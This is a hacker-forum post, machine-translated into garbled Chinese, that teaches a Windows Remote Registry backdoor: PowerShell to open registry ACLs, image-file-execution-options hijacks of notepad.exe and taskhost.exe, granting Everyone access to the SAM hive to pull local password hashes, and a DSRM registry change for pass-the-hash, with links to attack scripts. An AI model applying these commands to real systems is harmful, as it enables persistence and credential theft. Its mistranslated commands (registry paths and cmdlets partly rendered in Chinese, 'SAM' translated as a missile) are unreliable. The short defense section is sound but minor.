跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

渗透技巧——Windows下的远程注册表

精选回复

发布于

0x00 前言

Windows操作系统操作系统下的远程注册表允许远程用户修改当前计算机的注册表设置

在渗透测试中,获得了管理员权限后,可以利用远程注册表服务作为后门

我受到harmj0y博客的启发,打算对远程注册表的后门利用方法做扩展,并且加入一些我在研究邮政总局的经验,整理成文。

参考资料:

http://www。harm j0y . net/blog/activedirectory/remote-hash-extraction-on-demand-via-host-security-descriptor-modification/

0x01 简介

本文将要介绍以下内容:

远程注册表的开启方法

工作组和域环境下的利用方法

防御检测

0x01 Remote Registry的正常使用

测试环境:

Win7x64

192.168.112.128

1、开启Remote Registry服务

净开始远程注册表

2、添加ACL(Access Control List)

注册表位置:HKEY _ LOCAL _ MACHINE \ SYSTEM \ current Control set \ Control \ SecurePipeServers \ winreg

(1)通过界面添加权限,指定用户

如下图

2-1.png

(2)通过poweshell实现

添加用户测试一的完全访问权限

$ Acl=Get-Acl HKLM:\系统\当前控制集\控制\ SecurePipeServers \ winreg

$person=[System .安全。校长。nt帐户“test1”

$access=[System .安全。门禁。注册表权限]'完全控制'

$inheritance=[System .安全。门禁。继承标志]'对象继承,容器继承'

$propagation=[System .安全。门禁。传播标志]'无'

$type=[System .安全。门禁。访问控制类型]'允许'

$rule=新对象系统安全。门禁。注册访问规则(` r

$person,$access,$inheritance,$propagation,$type)

$acl .AddAccessRule($rule)

set-Acl HKLM:\ SYSTEM \ current Control set \ Control \ SecurePipeServers \ winreg $ Acl

3、远程连接

使用另一台主机,连接192.168.112.128

(1)通过regedit.exe

文件连接网络注册表.

如下图

2-2.png

填入IP,接着输入用户测试一的口令,如下图

2-3.png

连接成功后,如下图

2-4.png

(2)通过powershell实现

先建立工业程序控制(工业过程控制的缩写)连接:

网使用\ \ 192 .168 .112 .128/u:test1密码123!

查询192.168.112.128的注册表项:HKLM:\系统\当前控制集

$computer1='192.168.112.128 '

$ Reg=[微软. win32。注册表项]:OpenRemoteBaseKey([微软. win32。注册表配置单元]:本地计算机,$computer1)

$RegSubKey=$Reg .open子项(“系统\当前控件集”)

$RegSubKey .GetSubKeyNames()

0x02 利用方法1:远程执行程序

如果能够修改远程计算机的注册表设置,那么可以选择使用映像劫持,劫持进程的启动或者进程的结束

1、工作组环境

以劫持notepad.exe为例,实际启动的进程为calc.exe

劫持进程的启动:

REG add ' HKEY _ LOCAL _ MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ current version \ Image File Execution Options \记事本。' c:\ Windows \ system32 \ calc。' exe '

劫持进程的结束:

REG add ' HKEY _ LOCAL _ MACHINE \ SOFTWARE \ Microsoft \ Windows NT \当前版本\ Image文件执行选项\记事本。exe '/v全局标志/t REG _ DWORD/d 512

REG add ' HKEY _ LOCAL _ MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ current version \ SilentProcessExit \ notepad。exe '/v报告模式/t REG _ DWORD/d 1

REG add ' HKEY _ LOCAL _ MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ current version \ SilentProcessExit \ notepad。/v monitor process/t REG _ SZ/d ' c:\ Windows \ system32 \ calc。' exe '

注:

该方法学习自https://奇数var。moe/2018/04/10/persistence-using-global flags-in-image-file-execution-options-hidden-from-autoruns-exe/

2、域环境

域环境相比于工作组环境,存在一个可稳定的利用进程:任务主机。可执行程序的扩展名

默认情况下,域环境下的计算机组策略每90分钟更新,随机偏移为0-30分钟,域控制器的组策略每5分钟更新,组策略更新时会启动进程taskhost.exe

也可以强制刷新组策略:

(1)已有域管理员权限,刷新指定计算机的组策略

调用-gp更新-计算机'测试\计算机01 '

(2)刷新当前计算机的组策略,可用于测试环境下该方法的验证

gpupdate /force

注:

详细的利用测试可参考之前的文章《域渗透——利用GPO中的计划任务实现远程执行》

劫持taskhost.exe进程的启动:

REG add ' HKEY _ LOCAL _ MACHINE \ SOFTWARE \ Microsoft \ Windows NT \当前版本\映像文件执行选项\任务主机。' c:\ Windows \ system32 \ calc。' exe '

劫持taskhost.exe进程的结束:

REG add ' HKEY _ LOCAL _ MACHINE \ SOFTWARE \ Microsoft \ Windows NT \当前版本\ Image文件执行选项\任务主持人。exe '/v全局标志/t REG _ DWORD/d 512

REG add ' HKEY _ LOCAL _ MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ current version \ SilentProcessExit \ task host。exe '/v报告模式/t REG _ DWORD/d 1

REG add ' HKEY _ LOCAL _ MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ current version \ SilentProcessExit \ task host。/v monitor process/t REG _ SZ/d ' c:\ Windows \ system32 \ calc。' exe '

注:

劫持taskhost.exe进程的结束时,如果选择calc.exe,会弹框提示,如下图

3-1.png

0x03 利用方法2:获取SAM文件中的用户hash

通过注册表的地对空导弹文件,能够还原出当前系统的本地用户哈希,详细方法可参考之前的文章《渗透技巧-通过SAM数据库获得本地用户hash》

简要流程如下:

读取注册表项HKEY _ LOCAL _ MACHINE \ SYSTEM \ current Control set \ Control \ Lsa下的键值JD、Skew1、GBG和数据中的内容,拼接成syskey

读取注册表项HKEY _ LOCAL _ MACHINE \ SAM \ SAM \域\帐户\用户下每个用户中F项和V项的内容,使用syskey进行一系列的解密

所以如果能够访问远程计算机的注册表文件,就能够还原出远程计算机所有本地用户的混杂

在利用上需要注意HKLM山姆\山姆的默认访问权限为NT授权\系统'(管理员没有访问权限),想要远程读取,还需要对这个注册表项及子项添加前十字韧带

利用流程如下:

1、开启Remote Registry服务

净开始远程注册表

2、添加ACL(Access Control List)

注册表位置如下:

HKEY _ LOCAL _ MACHINE \ SYSTEM \ current Control set \ Control \ SecurePipeServers \ winreg

HKEY_LOCAL_MACHINE\SAM\SAM及子项

对以上注册表项添加用户人人的完全访问权限,powershell代码如下:

(在192.168.112.128上以系统权限执行)

函数Add-RegistryACL{

[CmdletBinding()]

参数(

[参数(强制=$True)]

[字符串]

[ValidateNotNullOrEmpty()]

$Path

)

$acl=Get-Acl -Path $Path

$person=[System .安全。Principal.NTAccount]'所有人'

$access=[System .安全。门禁。注册表权限]'完全控制'

$inheritance=[System .安全。门禁。继承标志]'对象继承,容器继承'

$propagation=[System .安全。门禁。传播标志]'无'

$type=[System .安全。门禁。访问控制类型]'允许'

$rule=新对象系统安全。门禁。注册访问规则(` r

$person,$access,$inheritance,$propagation,$type)

$acl .AddAccessRule($rule)

Set-Acl $Path $acl

}

add-registry ACL-Path ' HKLM:\山姆\山姆'

add-registry ACL-Path ' HKLM:\系统\当前控制集\控制\ SecurePipeServers \ winreg '

3、使用powershell解密还原远程计算机的本地用户hash

使用以下脚本:

https://github。com/harmj 0y/DAMP/blob/master/remotehashretrieval。PS1

命令如下:

导入模块\RemoteHashRetrieval.ps1

get-RemoteLocalAccountHash-计算机名' 192.168.112.128 '

如下图

4-1.png

成功获得192.168.112.128上的本地用户混杂

补充1:

使用powershell解密还原本地所有用户的哈希,代码可参考:

https://github。com/Empire project/Empire/blob/master/data/module _ source/credentials/Invoke-power dump。PS1

补充2:

针对域控制器,远程导出域控制器的本地用户哈希,如果想要在域内使用传递散列,还需要修改域控制器的注册表,允许DSRM账户远程访问:

REG add HKLM \系统\当前控制集\控制\ Lsa/v dsrmadminlogonbhavior/t REG _ DWORD/d 2

0x04 防御检测的建议

防御:

如果不需要远程注册表服务,建议禁用

检测:

如果能够访问远程计算机的注册表文件,可供利用的方法还有很多,在检测上,可以对关键服务器的注册表操作进行监控

0x05 小结

本文介绍了Windows操作系统操作系统下的远程注册表的两种后门利用方法:远程执行程序和获取地对空导弹文件中的用户哈希。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。